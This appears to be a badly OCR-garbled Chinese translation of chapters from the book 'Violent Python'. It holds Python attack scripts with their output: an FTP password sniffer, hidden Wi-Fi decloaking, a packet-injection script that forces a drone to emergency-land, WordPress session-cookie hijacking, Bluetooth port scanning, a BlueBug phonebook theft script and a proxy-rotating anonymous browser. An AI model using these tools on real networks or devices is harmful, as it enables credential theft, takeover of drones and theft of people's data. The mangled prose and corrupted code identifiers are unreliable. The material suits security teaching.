20:54:58.388129 IP 192.168.95.128.42653 > 192.168.211.1.ftp:
Flags [P.], seq 1:17, ack 63, win 14600, length 16
E..8..0.0.9..._....c.ovv... R.=.|.P.9..... USER root
20:54:58.388933 IP 192.168.95.128.42653 > 192.168.211.1.ftp:
Flags [.], ack 112, win 14600, length ©
E..(..0.@.9..._...coovv... R.=.|.P.9.....

20:55:00.732327 IP 192.168.95.128.42653 > 192.168.211.1.ftp:
Flags [P.], seq 17:33, ack 112, win 14600, length 16
E..8..0.@0.9..._...vvvvu... R.=.|.P.9..... PASS secret
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from scapy.all import *

def

ftpSniff(pkt):

dest = pkt.getlayer(IP).dst

raw = pkt.sprintf('%Raw.load%")

user = re.findall('(?1)USER (.*)', raw)
pswd = re.findall('(?1)PASS (.*)', raw)

if user:
print('[*] Detected FTP Login to ' + str(dest))
print('[+] User account: ' + str(user[0]))

elif pswd:

print('[+] Password: ' + str(pswd[0]))
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# coding=UTF-8
import optparse
from scapy.all import *

def

def

ftpSniff(pkt):

dest = pkt.getlayer(IP).dst

raw = pkt.sprintf('%Raw.load%")

user = re.findall('(?1)USER (.*)', raw)
pswd = re.findall('(?1)PASS (.*)', raw)

if user:
print('[*] Detected FTP Login to ' + str(dest))
print('[+] User account: ' + str(user[0]))

elif pswd:
print('[+] Password: ' + str(pswd[0]))

main():

parser = optparse.OptionParser('usage %prog -i<interface>')
parser.add_option('-1i', dest='interface', type='string', help=
(options, args) = parser.parse_args()

if options.interface == None:
print parser.usage
exit(0)

else:
conf.iface = options.interface
try:

sniff(filter="tcp port 21', prn=ftpSniff)
except KeyboardInterrupt:
exit(0)

if __name__ == '_ _main__':

main()
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attacker:~# python ftp-sniff.py -1 mon0O
[*] Detected FTP Login to 192.168.211.1
[+] User account: root\r\n

[+] Password: secret\r\n
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from scapy.all import *

'mon0'

[]

def sniffProbe(p):
if p.haslayer(Dotl1ProbeReq):
netName = p.getlayer(DotllProbeReq).info
if netName not in probeRegs:
probeReqs.append(netName)
print('[+] Detected New Probe Request: ' + netName)
sniff(iface=interface, prn=sniffProbe)

interface
probeReqs
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attacker:~# python sniffProbes.py

[+] Detected New Probe Request: LAX Wireless

[+] Detected New Probe Request: Hooters_WiFi

[+] Detected New Probe Request: Phase_2_Consulting
[+] Detected New Probe Request: McDougall Pizza
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def sniffDotl11(p):
if p.haslayer(Dotl1Beacon):
if p.getlayer(Dotl1Beacon).info == '"':
addr2 = p.getlayer(Dotl1l).addr2
if addr2 not in hiddenNets:
print('[-] Detected Hidden SSID: with MAC:' + addr:
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# coding=UTF-8
import sys
from scapy.all import *

interface = 'mono'
hiddenNets = []
unhiddenNets = []

def sniffDotl11(p):
if p.haslayer(Dotl1ProbeResp):
addr2 = p.getlayer(Dotl1l).addr2
if (addr2 in hiddenNets) &amp; (addr2 not in unhiddenNets)
netName = p.getlayer(Dotl1l1ProbeResp).info
print '[+] Decloaked Hidden SSID: ' + netName + ' for |
unhiddenNets.append(addr2)
if p.haslayer(Dotl1Beacon):
if p.getlayer(Dotl1Beacon).info == '':
addr2 = p.getlayer(Dotll).addr2
if addr2 not in hiddenNets:
print '[-] Detected Hidden SSID: ' + 'with MAC:' +
hiddenNets.append(addr2)
sniff(iface=interface, prn=sniffDotll)
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attacker:~# python sniffHidden.py
[-] Detected Hidden SSID with MAC: O0:DE:AD:BE:EF:01
[+] Decloaked Hidden SSID: Secret-Net for MAC: OO:DE:AD:BE:EF:01
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attacker# airmon-ng start wlan0
Interface Chipset Driver
wlan® Ralink RT2870/3070 rt2800usb - [phy0]

(monitor mode enabled on monO)
attacker# tcpdump-nn-i mon@
16:03:38.812521 54.0 Mb/s 2437 MHz 11g -59dB signal antenna 1 [bit
IP 192.168.1.2.5556 > 192.168.1.1.5556: UDP, length 106
16:03:38.839881 54.0 Mb/s 2437 MHz 11g -57dB signal antenna 1 [bit
IP 192.168.1.2.5556 > 192.168.1.1.5556: UDP, length 64
16:03:38.840414 54.0 Mb/s 2437 MHz 11g -53dB signal antenna 1 [bit
IP 192.168.1.1.5555 > 192.168.1.2.5555: UDP, length 25824
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from scapy.all import *

NAVPORT = 5556
def printPkt(pkt):
if pkt.haslayer(UDP) and pkt.getlayer(UDP).dport == NAVPORT:
raw = pkt.sprintf('%Raw.load%"')
print raw
conf.iface = 'mono'
sniff(prn=printPkt)
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attacker# python uav-sniff.py

'"AT*REF=11543,290718208\r"'
'"AT*PCMD=11542,1, -1364309249, 988654145, 1065353216, O\r'
'"AT*REF=11543,290718208\r"'

'"AT*PCMD=11544,1, -1358634437,993342234,1065353216, O\rAT*PCMD=11545,
1355121202,998132864, 1065353216, O\r'

'"AT*REF=11546,290718208\r "'

<..SNIPPED. .>

/ gl
ﬁﬂ‘]ﬂ'ﬁéé}ﬂ%"/l\Pythoné'é interceptThread * XAEM T A KM K FF
B oo XBEFEE RIA BRI FIE L E » BARE RAMNG |5 » o — Rt

FAMKE %%zﬂié‘czxéﬁiﬁ A o AR R FRE » KA EARNSR
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class interceptThread(threading.Thread):
def _ init_ (self):
threading.Thread.__init__ (self)
self.curPkt = None
self.seq = 0
self.foundUAV = False
def run(self):
sniff(prn=self.interceptPkt, filter='udp port 5556')
def interceptPkt(self, pkt):
if self.foundUAV == False:
print('[*] UAV Found.')
self.foundUAV = True
self.curPkt = pkt
raw = pkt.sprintf('%Raw.load%')

try:

self.seq = int(raw.split(', "')[0].split('=")[-1]) + 5
except:

self.seq = 0

1 Scapy#| 1£802.11 £ 4& M

BTk > BNBHE—ANEEREANIGAGITORIBEL c Rfm > A THIZ— & >
EMNEE LSO BEMN T E 4 — LB 0912 8 o B A $IE & &4 RadioTap,
802.11, SNAP, LLC, IP, and UDP2 » M1 EZNENEF FH FEB o scapy &4
*é%ﬁﬁ%%i% » Blde o FADOtE » &AVAL Scapy A
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attacker# scapy
Welcome to Scapy (2.1.0)

>>>1s(Dot11)

subtype : BitField = (0)
type : BitEnumField = (0)
proto : BitField = (0)
FCfield : FlagsField = (0)
ID : ShortField = (0)

addrl : MACField
addr2 : Dot11Addr2MACField
addr3 : Dotl11Addr3MACField
SC : Dot11SCField
addr4 : Dot11Addr4MACField

('00:00:00:00:00:00")
('00:00:00:00:00:00")
('00:00:00:00:00:00")
(0)

('00:00:00:00:00:00")

EME L KM F6943E & > Z $IRadioTap, 802.11, SNAP, LLC, IP #=UDP#9 % —
Bohile 2% » RANEHE—EZ ZWF—LFE > o > RATTA B H P F
oo BN ATEREES TR KEH KD » RNTT Ak scapy B #69HF 4 ik
e, A T —BRBMBE T A TR T » RNIAETARE R
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e F B e

from scapy.all import *
def dupRadio(pkt):
rPkt=pkt.getlayer(RadioTap)
version=rPkt.version
pad=rPkt.pad
present=rPkt.present
notdecoded=rPkt.notdecoded
nPkt = RadioTap(version=version, pad=pad, present=present, not
return nPk

def dupDotlil(pkt):
dPkt=pkt.getlayer(Dot11l)
subtype=dPkt.subtype
Type=dPkt.type
proto=dPkt.proto
FCfield=dPkt.FCfield
ID=dPkt.ID
addr1=dPkt.addr1l
addr2=dPkt.addr2
addr3=dPkt.addr3
SC=dPkt.SC
addr4=dPkt.addr4
nPkt=Dotl11(subtype=subtype, type=Type, proto=proto, FCfield=FCfie.
return nPkt

def dupSNAP(pkt):
sPkt=pkt.getlayer (SNAP)
oui=sPkt.OUI
code=sPkt.code



NPkt=SNAP(OUI=oui, code=code)
return nPkt

def dupLLC(pkt):
1Pkt=pkt.getlayer(LLC)
dsap=1Pkt.dsap
ssap=1Pkt.ssap
ctrl=1Pkt.ctrl
nPkt=LLC(dsap=dsap, ssap=ssap,ctrl=ctrl)
return nPkt

def dupIP(pkt):
iPkt=pkt.getlayer (IP)
version=iPkt.version
tos=iPkt.tos
ID=iPkt.id
flags=1iPkt.flags
ttl=iPkt.ttl
proto=iPkt.proto
src=iPkt.src
dst=iPkt.dst
options=iPkt.options
nPkt=IP(version=version, id=ID, tos=tos, flags=flags, ttl=ttl, prote
return nPkt

def dupUDP(pkt):
uPkt=pkt.getlayer (UDP)
sport=uPkt.sport
dport=uPkt.dport
NPkt=UDP(sport=sport, dport=dport)
return nPkt

j S 2]
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def injectCmd(self, cmd):

radio = dup.dupRadio(self.curPkt)

dotll = dup.dupbDotill(self.curPkt)

snap = dup.dupSNAP(self.curPkt)

llc = dup.dupLLC(self.curPkt)

ip = dup.dupIP(self.curPkt)

udp = dup.dupUDP(self.curPkt)

raw = Raw(load=cmd)

1nJectht = radio / dotll1 / 1llc / snap / ip / udp / raw
sendp(injectPkt)



REGEEZERRAMNG—NERGITL o FIER RAMATEF FEr 233 L
AT PATREAGS s BAVEE R S 87697 5] 5 536100 © 3Tk > AR E 4

4 AT*COMWDG=$SEQ\r °» XG4 F FRING T 75 » RAMI B9 7T 8 54
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A AT*REF=$SEQ, 290717952\r °

EMER = "290717952"
def emergencyland(self):
spoofSeq = self.seq + 100
watch = 'AT*COMWDG=%i\r '%spoofSeq
toCmd = 'AT*REF=%i,%s\r'% (spoofSeq + 1, EMER)
self.injectCmd(watch)
self.injectCmd(toCmd)

AN K& > FEREERAN
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# coding=UTF-8

import threading

import dup

from scapy.all import *

conf.iface = 'mon@®'
NAVPORT = 5556

LAND = '290717696'
EMER = '290717952'
TAKEOFF = '290718208'

class interceptThread(threading.Thread):
def __init_ (self):
threading.Thread.__init__ (self)
self.curPkt = None
self.seq = 0
self.foundUAV = False
def run(self):
sniff(prn=self.interceptPkt, filter="'udp port 5556')
def interceptPkt(self, pkt):
if self.foundUAV == False:
print('[*] UAV Found.')
self.foundUAV = True
self.curPkt = pkt
raw = pkt.sprintf('%Raw.load%"')
try:



1

def

self.seq
except:
self.seq
EMER = "290717952"
def emergencyland(self):
spoofSeq = self.seq + 100
watch = 'AT*COMWDG=%i\r '%spoofSeq
toCmd = 'AT*REF=%i,%s\r'% (spoofSeq + 1, EMER)
self.injectCmd(watch)
self.injectCmd(toCmd)

int(raw.split(', ')[0].split('=")[-1]) + 5

0

def injectCmd(self, cmd):
radio = dup.dupRadio(self.curPkt)
dot11 dup.dupDoti1l(self.curPkt)
snap = dup.dupSNAP(self.curPkt)
1lc = dup.dupLLC(self.curPkt)
ip = dup.dupIP(self.curPkt)
udp dup.dupUDP(self.curPkt)
raw Raw(load=cmd)
injectPkt = radio / dotl1 / 1llc / snap / ip / udp / raw
sendp(injectPkt)
def takeoff(self):
spoofSeq = self.seq + 100
watch = 'AT*COMWDG=%i\r '%spoofSeq
toCmd = "AT*REF=%1,%s\r'% (spoofSeq + 1, TAKEOFF)
self.injectCmd(watch)
self.injectCmd(toCmd)

main():

uavIntercept = interceptThread()

uavIntercept.start()

print('[*] Listening for UAV Traffic. Please WAIT...'")

while uavIntercept.foundUAV == False:
pass

while True:
tmp = raw_input('[-] Press ENTER to Emergency Land UAV.')
uavIntercept.emergencyland()

if __name__ == '__main__':

main()
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Ericte it T — /N £ 69 - do k3 2 4 B AF 2R 69 A AR 6 cookie R MR E M i & »
T @ 89 2t WordPress 89 2 3 6,2 =/~ & 3k o & % matchPacket () il & A EN &
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// Authors:
// Eric Butler <eric@codebutler.com>
register({

name: 'Wordpress',

matchPacket: function (packet) {

for (varcookieName in packet.cookies) {
if (cookieName.matchO {
return true,

b
iy

processPacket: function () {
this.siteUrl += 'wp-admin/';
for (varcookieName in this.firstPacket.cookies) {

if (cookieName.match(/Awordpress_[0-9a-fA-F]{32}%$/)) {
this.sessionId = this.firstPacket.cookies[cookieName];

break;

b
iy

identifyUser: function () {
var resp = this.httpGet(this.siteUrl);
this.userName
this.siteName
}
1)

J 1

3% #EWordPress®JSession Cookie

ﬁ“%%ﬁ%ﬁ%b?’L%mwmﬁi%%T@%%’LE%i FH AT
7 % & & #FWordPress/£ www.violentpython.org ° E& * F4F %
YA wordpress_e3b 1462 7T £ E4 4 sessionID Cookleﬁﬂ)ﬂ)ﬁz o

resp.body.querySelectorAll('#user_info a')[0].text(
'Wordpress (' + this.firstPacket.host + ')';

Safari



GET /wordpress/wp-admin/HTTP/1.1

Host: www.violentpython.org

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_7_2)
ApplewWebKit/534.52.7 (KHTML, like Gecko) Version/5.1.2 Safari/534.!
Accept: */*

Referer: http://www.violentpython.org/wordpress/wp-admin/
Accept-Language: en-us

Accept-Encoding: gzip, deflate

Cookie: wordpress_e3bd8b33fb645122b50046ecbfbeef97=victim%7C132380:
%7C889eb4e57a3d68265T26b166020f161b; wordpress_logged_in_e3bd8b33ft
122b50046echfbeef97=victim%7C1323803979%7C3255ef169aa649f771587fd1:
4f57;

wordpress_test_cookie=WP+Cookie+check

Connection: keep-alive
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LETHYF » —AdkEHE KINEiE{TFiresheep T £ » 2 5] 48 Fl 69 F 5% % & 3£ 3]
AR B R EMEG L o KGRI FIEEHE] www.violentpython.og E o
Z% 0 HTTP GET# R KAVR k6915 KR —4% » A Fl 4 89cookie » 122k & 7 Fl 8
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GET /wordpress/wp-admin/ HTTP/1.1

Host: www.violentpython.org

User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac 0S X 10.7; en-US;
rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24

Accept: text/html,application/xhtml+xml,application/
xml;q=0.9,*/*;0=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: IS0-8859-1,utf-8;09=0.7,*;09=0.7

Keep-Alive: 115

Connection: keep-alive

Cookie: wordpress_e3bd8b33fb645122b50046echfbeef97=victim%7C132380:
%7C889eb4e57a3d68265T26b166020f161b; wordpress_logged_in_e3bd8b33ft
122b50046echbfbeef97=victim%7C1323803979%7C3255ef169aa649f771587fd1:
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import re
from scapy.all import *

def fireCatcher(pkt):
raw = pkt.sprintf('%Raw.load%")
r = re.findall('wordpress_[0-9a-fA-F]{32}', raw)
if r and 'Set' not in raw:
print(pkt.getlayer(IP).src+ ">"+pkt.getlayer(IP).dst+" Cool

conf.iface = "monO"
sniff(filter="tcp port 80", prn=fireCatcher)

o 1 i
BATEAAR » BAVRBE IR — BB AN EL AT AMBOLAMSEE NI L
BHTTP 2 7% i 4% 2| WordPress £ © & K47 57 45 % #) 275 cookie 2| Lif » & 4
EEIKFH 192.168.1.4 THA T kA 192.168.1.3 #FH 8 sessionID
cookie °

defender# python fireCatcher.py
192.168.1.3>173.255.226.98

Cookie:wordpress_ e3bd8b33fb645122b50046ecbfbeef97
192.168.1.3>173.255.226.98
Cookie:wordpress_e3bd8b33fb645122b50046echfbeef97
192.168.1.4>173.255.226.98
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# coding=UTF-8
__author__ = 'dj'
import optparse

from scapy.all import *
import re

cookieTable = {}

def fireCatcher(pkt):
raw = pkt.sprintf('%Raw.load%")
r = re.findall('wordpress_[0-9a-fA-F]{32}', raw)
if r and 'Set' not in raw:
if r[0] not in cookieTable.keys():
cookieTable[r[0]] = pkt.getlayer(IP).src
print('[+] Detected and indexed cookie.')
elif cookieTable[r[0]] != pkt.getlayer(IP).src:
print('[*] Detected Conflict for ' + r[0])
print('victim = ' + cookieTable[r[0]])
print('Attacker = ' + pkt.getlayer(IP).src)

def main():
parser = optparse.OptionParser("usage %prog -i<interface>")
parser.add_option('-i', dest='interface', type='string', help=
(options, args) = parser.parse_args()
if options.interface == None:
print parser.usage
exit(0)
else:
try:
conf.iface = options.interface
sniff(filter="tcp port 80', prn=fireCatcher)
except KeyboardInterrupt:
exit(0)

if __name__ == '__main__':
main()
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defender# python fireCatcher.py

[+] Detected and indexed cookie.

[*] Detected Conflict for:

wordpress_ e3bd8b33fb645122b50046echbfbeef97
Victim = 192.168.1.3

Attacker = 192.168.1.4
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RAEGTRAIEL—ARENGES o —ANEREFHHRTTZRARGSF - &
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from bluetooth import *
devList = discover_devices()
for device in devlList:
name = str(lookup_name(device))
print("[+] Found Bluetooth Device " + str(name))
print("[+] MAC address: "+str(device))

TERMBEEIRRE o Ak o KATERAE X ARG I KA RKE findDevs ° 4180 KA
BRI #HEE o BAVT A —N44 alreadyFound kR GCLELAGEE » «F
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S Ak R B A F o ERATEG ERAGRE T 0 RATT ARG — D ERIEIRE
1T findDevs() AR JGBEERSF) o

import time
from bluetooth import *

alreadyFound = []

def findDevs():
foundDevs = discover_devices(lookup_names=True)
for (addr, name) in foundDevs:
if addr not in alreadyFound:
print('[*] Found Bluetooth Device: ' + str(name))
print('[+] MAC address: ' + str(addr))
alreadyFound.append(addr)

while True:
findDevs()
time.sleep(5)

MAE RN BT RNOMAEFE Z TR AT E FEE 0 2% RINVZAT
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attacker# python btScan.py

[-]

|_||_|I_|I_|I_|I_|
b | 1
I_II_II_II_II_II_I

Scanning for Bluetooth Devices.

Found Bluetooth Device: Photosmart 8000 series
MAC address: 00:16:38:DE:AD:11

Scanning for Bluetooth Devices.

Scanning for Bluetooth Devices.

Found Bluetooth Device: TJ iPhone

MAC address: D0:23:DB:DE:AD:02

AT ARG —AF) £ 69 R KRB BN L RHF E X E A KRNI - FEZ > &A1
Y BE RAVEY R AL R F 3G e A 4L tgtName ’i?%?ékﬂ]éﬁiiibi'%iéiib¢?ﬂ111€§

import time
from bluetooth import *

alreadyFound = []

def findDevs():

foundDevs = discover_devices(lookup_names=True)
for (addr, name) in foundDevs:
if addr not in alreadyFound:
print('[*] Found Bluetooth Device: ' + str(name))
print('[+] MAC address: ' + str(addr))
alreadyFound.append(addr)

while True:

findDevs()

time.sleep(5)

X — &
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attacker# python btFind.py

[-]
[*]
[+]
[+]
[+]

Scanning for Bluetooth Device: TJ iPhone
Found Target Device TJ iPhone

Time 1is: 2012-06-24 18:05:49.560055

With MAC Address: D0O:23:DB:DE:AD:02

Time is: 2012-06-24 18:06:05.829156
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DO-23-DB (hex) Apple, Inc.
DO23DB (base 16) Apple, Inc.
1 Infinite Loop
Cupertino CA 95014
UNITED STATES

A9 Pythone A % 97 802.11 2k 42 Ml It EeiPhone 4S#IMACHLAE & AT = AN F % o 4o
RAEME] > CAFATIE R A S R L5 #802.1189MACHAE -

from scapy.all import *

def wifiPrint(pkt):
iPhone_OUI = 'd0:23:db'
if pkt.haslayer(Dot11):
wifiMAC = pkt.getlayer(Dot11l).addr2
if iPhone_OUI == wifiMAC[:8]:
print('[*] Detected iPhone MAC: ' + wifiMAC)
conf.iface = 'mon0@'
sniff(prn=wifiPrint)

A ZA1 L2 #47X T iPhone#7802.11 £ 41X & AIMACH AL » RATF R E T &%
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def retBtAddr(addr):
btAddr=str(hex(int(addr.replace(':"', ''), 16) + 1))[2:]
btAddr=btAddr[0:2]+":"+btAddr[2:4]+":"+btAddr[4:6]+":" + btAdd
return btAddr
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http://standards.ieee.org/cgi-bin/ouisearch

def checkBluetooth(btAddr):
btName = lookup_name(btAddr)
if btName:
print('[+] Detected Bluetooth Device: ' + btName)
else:
print('[-] Failed to Detect Bluetooth Device.')

L RA1Ie BT A 69 RAD A —Ae it » RAVA 8877 12 BliPhone & & 45k 09 1 F -

# coding=UTF-8
from scapy.all import *
from bluetooth import *

def retBtAddr(addr):
btAddr=str (hex(int(addr.replace(':"', ''), 16) + 1))[2:]
btAddr=btAddr[0:2]+":"+btAddr[2:4]+":"+btAddr[4:6]+":" + btAdd
return btAddr

def checkBluetooth(btAddr):
btName = lookup_name(btAddr)
if btName:
print('[+] Detected Bluetooth Device: ' + btName)
else:
print('[-] Failed to Detect Bluetooth Device.')

def wifiPrint(pkt):
iPhone_OUI = 'd0:23:db'
if pkt.haslayer(Dotl1l):
wifiMAC = pkt.getlayer(Dotl1l).addr2
if iPhone_OUI == wifiMAC[:8]:
print('[*] Detected iPhone MAC: ' + wifiMAC)
btAddr = retBtAddr (wifiMAC)
print('[+] Testing Bluetooth MAC: ' + btAddr)
checkBluetooth(btAddr)

conf.iface = 'mon@'
sniff(prn=wifiPrint)
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attacker# python find-my-iphone.py

[*] Detected iPhone MAC: d0:23:db:de:ad:01
[+] Testing Bluetooth MAC: d0:23:db:de:ad:02
[+] Detected Bluetooth Device: TJ’s iPhone
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from bluetooth import *

def rfcommCon(addr, port):

sock = BluetoothSocket (RFCOMM)

try:
sock.connect((addr, port))
print('[+] RFCOMM Port ' + str(port) + ' open')
sock.close()

except Exception as e:
print('[-] RFCOMM Port ' + str(port) + ' closed')

for port in range(1, 30):
rfcommCon('00:16:38:DE:AD:11', port)

B RAVIBAT HAT 6 e A4 2 L 84T P AL > KATA 2B T ZARFCOMMSR @ o
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attacker# python rfcommScan.py

[+] RFCOMM Port 1 open
[+] RFCOMM Port 2 open
[+] RFCOMM Port 3 open
[+] RFCOMM Port 4 open
[+] RFCOMM Port 5 open
[-] RFCOMM Port 6 closed
[-] RFCOMM Port 7 closed

<..SNIPPED...>
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from bluetooth import *

def sdpBrowse(addr):
services = find_service(address=addr)
for service in services:
name = service['name']
proto = service['protocol']
port = str(service['port'])
print('[+] Found ' + str(name)+' on '+ str(proto) + ':'+poil

sdpBrowse('00:16:38:DE:AD:11")
| S D
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attacker# python sdpScan.py

[+] Found Serial Port on RFCOMM:1

[+] Found OBEX Object Push on RFCOMM:2

[+] Found Basic Imaging on RFCOMM:3

[+] Found Basic Printing on RFCOMM:4

[+] Found Hardcopy Cable Replacement on L2CAP:8193
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import obexftp

try:
btPrinter = obexftp.client(obexftp.BLUETOOTH)
btPrinter.connect('00:16:38:DE:AD:11', 2)
btPrinter.put_file('/tmp/ninja.jpg')
print('[+] Printed Ninja Image.')

except:

print('[-] Failed to print Ninja Image.')
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import bluetooth

tgtPhone = 'AA:BB:CC:DD:EE:FF'
port = 17
phoneSock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
phoneSock.connect((tgtPhone, port))
for contact in range(1, 5):
atCmd = 'AT+CPBR=' + str(contact) + '\n'
phoneSock.send(atCmd)
result = phoneSock.recv(1024)
print '[+] ' + str(contact) + ': ' + result
phoneSock.close()
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attacker# python bluebug.py

[+] 1: +CPBR: 1,'"555-1234",,"Joe Senz"

[+] 2: +CPBR: 2,'"555-9999",,"Jason Brown"

[+] 3: +CPBR: 3,'"555-7337",,"Glen Godwin"

[+] 4: +CPBR: 4,"555-1111",,"Semion Mogilevich"
[+] 5: +CPBR: 5,'"555-8080",,"Robert Fisher
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import mechanize

def viewPage(url):
browser = mechanize.Browser ()
page = browser.open(url)
source_code = page.read()
print(source_code)
viewPage('http://www.syngress.com/"')

BATEANHR » BANNAZIEATH E  www.syngress.com & R &GHTMLAKAS o

recon:~# python viewPage.py
<IDOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.0rg/TR/xhtmll1/DTD/xhtmll-transitional.dtd">
<html xmlns="http://www.w3.0rg/1999/xhtml">
<head>

<title>

Syngress.com - Syngress 1s a premier publisher of content in
the Information Security field. We cover Digital Forensics, Hacking
and Penetration Testing, Certification, IT Security and Administraf
more.

</title>
<meta name="description" content="" /><meta name="keywords"
content="" />
<..SNIPPED. .>
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import mechanize

def testProxy(url, proxy):
browser = mechanize.Browser ()
browser.set_proxies(proxy)
page = browser.open(url)
source_code = page.read()
print source_code

url = 'http://ip.nefsc.noaa.gov/'
hideMeProxy = {'http': '216.155.139.115:3128'}
testProxy(url, hideMeProxy)

RARBAHHTMLIR AR A — B » RA1A B Z M35 A A KA1 IPHAL
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recon:~# python proxyTest.py
<html><head><title>What's My IP Address?</title></head>
<..SNIPPED. .>
<b>Your IP address is...</b></font><br><font size=+2 face=arial
color=red> 216.155.139.115</font><br><br><br><center> <font s:
font><br><font size=+2 face=arial color=red> 216.155.139.115.
choopa.net</font></font><font color=white
<..SNIPPED. .>
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import mechanize

def testUserAgent(url, userAgent):
browser = mechanize.Browser ()
browser.addheaders = userAgent
page = browser.open(url)
source_code = page.read()
print(source_code)

url = 'http://whatismyuseragent.dotdoh.com/"'
userAgent = [('User-agent',6 'Mozilla/5.0 (X11; U; Linux 2.4.2-2 1i58t¢
testUserAgent(url, userAgent)
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recon:~# python userAgentTest.py

<html>

<head>
<title>Browser UserAgent Test</title>
<style type="text/css'">

<..SNIPPED. .>
<p><a href="http://www.dotdoh.com" target="_blank"><img src="1c
gif" alt="Logo" width="646" height="111" border="0"></a></p>
<p><h4>Your browser's UserAgent string is: <span
class="stylel"><em>Mozilla/5.0 (X11; U; Linux 2.4.2-2 1586; en-
m1l8) Gecko/20010131 Netscape6/6.01</em></span></h4>
</p>

<..SNIPPED. .>

J S

RJG 0 P 3E 4R B — 8,8 5k 4 AR 1R B9 cookie AWEBH| i B A Mt R ER G F
B0FE o AT b — & AV MAT A JFONKATOWEBR % & F F %
cookie ° % sF— A Pythontz £ /& cookielib &8 JUA4E R £ A cookiety &

% o X ZA% Al #9cookie £ A &2k A &A1 Fl b9 cookie | B & 69 T At o XA AEA
% B P & A& cookies ™ A~ sb £ 1464 JE R B 45 W 3b o TR RATEE L — AN 32 69 By R AE
Bl cookiedar kiMiX o &A1 4T HF hitp://www.syngress.com T @1k 4 &A1469 %
— AT o A2 I RATAT P ] | & 0E 5 1% B9 cookie ©


http://www.useragentstring.com/pages/useragentstring.php
http://whatismyuseragent.dotdoh.com/
http://www.syngress.com

import mechanize
import cookielib

def printCookies(url):
browser = mechanize.Browser ()
cookie_jar = cookielib.LWPCookieJar ()
browser.set_cookiejar(cookie_jar)
page = browser.open(url)
for cookie in cookie_jar:

print(cookie)
url = 'http://www.syngress.com/'
printCookies(url)

BATIZ AN A o BATT XAA %)k B M 3k 89 session id ) cookie ©

recon:~# python printCookies.py
<Cookie _syngress_session=BAh7CToNY3VydmVudHkiCHVzZDoJbGFzdCIAOQ9z:
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import mechanize, cookielib, random, time

class anonBrowser (mechanize.Browser):
def __init__ (self, proxies = [], user_agents = []):
mechanize.Browser.__init_ (self)
self.set_handle_robots(False)
self.proxies = proxies
self.user_agents = user_agents + ['Mozilla/4.0 ', 'FireFox,
self.cookie_jar = cookielib.LWPCookiedJdar ()
self.set_cookiejar(self.cookie_jar)
self.anonymize()
def clear_cookies(self):
self.cookie_jar = cookielib.LWPCookieJdar ()
self.set_cookiejar(self.cookie_jar)
def change_user_agent(self):
index = random.randrange(0, len(self.user_agents))
self.addheaders = [('User-agent', (self.user_agents[index]’
def change_proxy(self):
if self.proxies:
index = random.randrange(0, len(self.proxies))
self.set_proxies({'http': self.proxies[index]})
def anonymize(self, sleep = False):
self.clear_cookies()
self.change_user_agent()
self.change_proxy()
if sleep:
time.sleep(60)
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from anonBrowser import *
ab = anonBrowser (proxies=[],user_agents=[('User-agent', 'superSecretf
for attempt in range(1, 5):

ab.anonymize()

print('[*] Fetching page')

response = ab.open('http://kittenwar.com')

for cookie in ab.cookie_jar:

print(cookie)
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recon:~# python kittenTest.py

[*] Fetching page

<Cookie PHPSESSID=qg3fbia®t7ue3dnen5i8brem61 for kittenwar.com/>
[*] Fetching page

<Cookie PHPSESSID=25s8apnvejkakdjtd67ctonfle® for kittenwar.com/>
[*] Fetching page

<Cookie PHPSESSID=16srf8kscgb212e2fknoqf4nh2 for kittenwar.com/>
[*] Fetching page

<Cookie PHPSESSID=73uhg6glqge9p2vpkogt3d4ju3 for kittenwar.com/>
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# coding=UTF-8

from anonBrowser import *

from BeautifulSoup import BeautifulSoup
import optparse

import re

def

def

printLinks(url):
ab = anonBrowser ()
ab.anonymize()
page = ab.open(url)
html page.read()
try:
print '[+] Printing Links From Regex.'
link_finder = re.compile('href="(.*?)"")
links = link_finder.findall(html)
for link in links:
print link

except:

pass
try:

print '\n[+] Printing Links From BeautifulSoup.'

soup = BeautifulSoup(html)

links = soup.findAll(name='a"')

for link in links:

if link.has_key('href'):
print link['href']

except:

pass
main():
parser = optparse.OptionParser('usage%prog -u <target url>"')
parser.add_option('-u', dest='tgtURL', type='string', help="sp¢
(options, args) = parser.parse_args()
url = options.tgtURL
if url == None:

print parser.usage

exit(0)
else:

printLinks(url)

if __name__ == '_main__':

4

main()
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recon:# python linkParser.py -uhttp://www.hampsterdance.com/
[+] Printing Links From Regex.

styles.css

http://Kunaki.com/Sales.asp?PID=PX00ZBMUHD
http://Kunaki.com/Sales.asp?PID=PX00ZBMUHD
Freshhampstertracks.htm

freshhampstertracks.htm

freshhampstertracks.htm

http://twitter.com/hampsterrific
http://twitter.com/hampsterrific
https://app.expressemailmarketing.com/Survey.aspx?SFID=32244
funnfree.htm
https://app.expressemailmarketing.com/Survey.aspx?SFID=32244
https://app.expressemailmarketing.com/Survey.aspx?SFID=32244
meetngreet.htm

http://www.asburyarts.com

index.htm

meetngreet.htm

musicmerch.htm

funnfree.htm

freshhampstertracks.htm

hampsterclassics.htm

http://www.statcounter.com/joomla/

[+] Printing Links From BeautifulSoup.
http://Kunaki.com/Sales.asp?PID=PX00ZBMUHD
http://Kunaki.com/Sales.asp?PID=PX00ZBMUHD
freshhampstertracks.htm

freshhampstertracks.htm

freshhampstertracks.htm

http://twitter.com/hampsterrific
http://twitter.com/hampsterrific
https://app.expressemailmarketing.com/Survey.aspx?SFID=32244
funnfree.htm
https://app.expressemailmarketing.com/Survey.aspx?SFID=32244
https://app.expressemailmarketing.com/Survey.aspx?SFID=32244
meetngreet.htm

http://www.asburyarts.com

http://www.statcounter.com/joomla/

F—ARAMNMILFETRS o K > 4R EN A& XA BeautifulSoup &£ T T F &
R 5B XK E TR R » R F B el B 89 F 35
BREZK o Wb » AT ENRZXXESCSSHEH—A link » B4R A&~
NEEE o AZABOE M R X X ILE T o BeautifulSoup FFATEY fnid Zwke » 16,
A

Fl Beautiful Soup T #& A K



MRTHMR L@t e L@OBERTRAAR - AF =% KNET T wTINE
4%“?’&&7&’&% B—R > BeautifulSoup R A T *4& > A FLEEMHTMLY
% img 1R & o @] | & 2t %Tﬁ@ﬁ%ﬁﬁ#‘\%&ﬁ s AL B AL R TS 4E T A
Ao MAERETI  BMEAARANLETRCETHASBAINKRIM A G EfT
#H A o

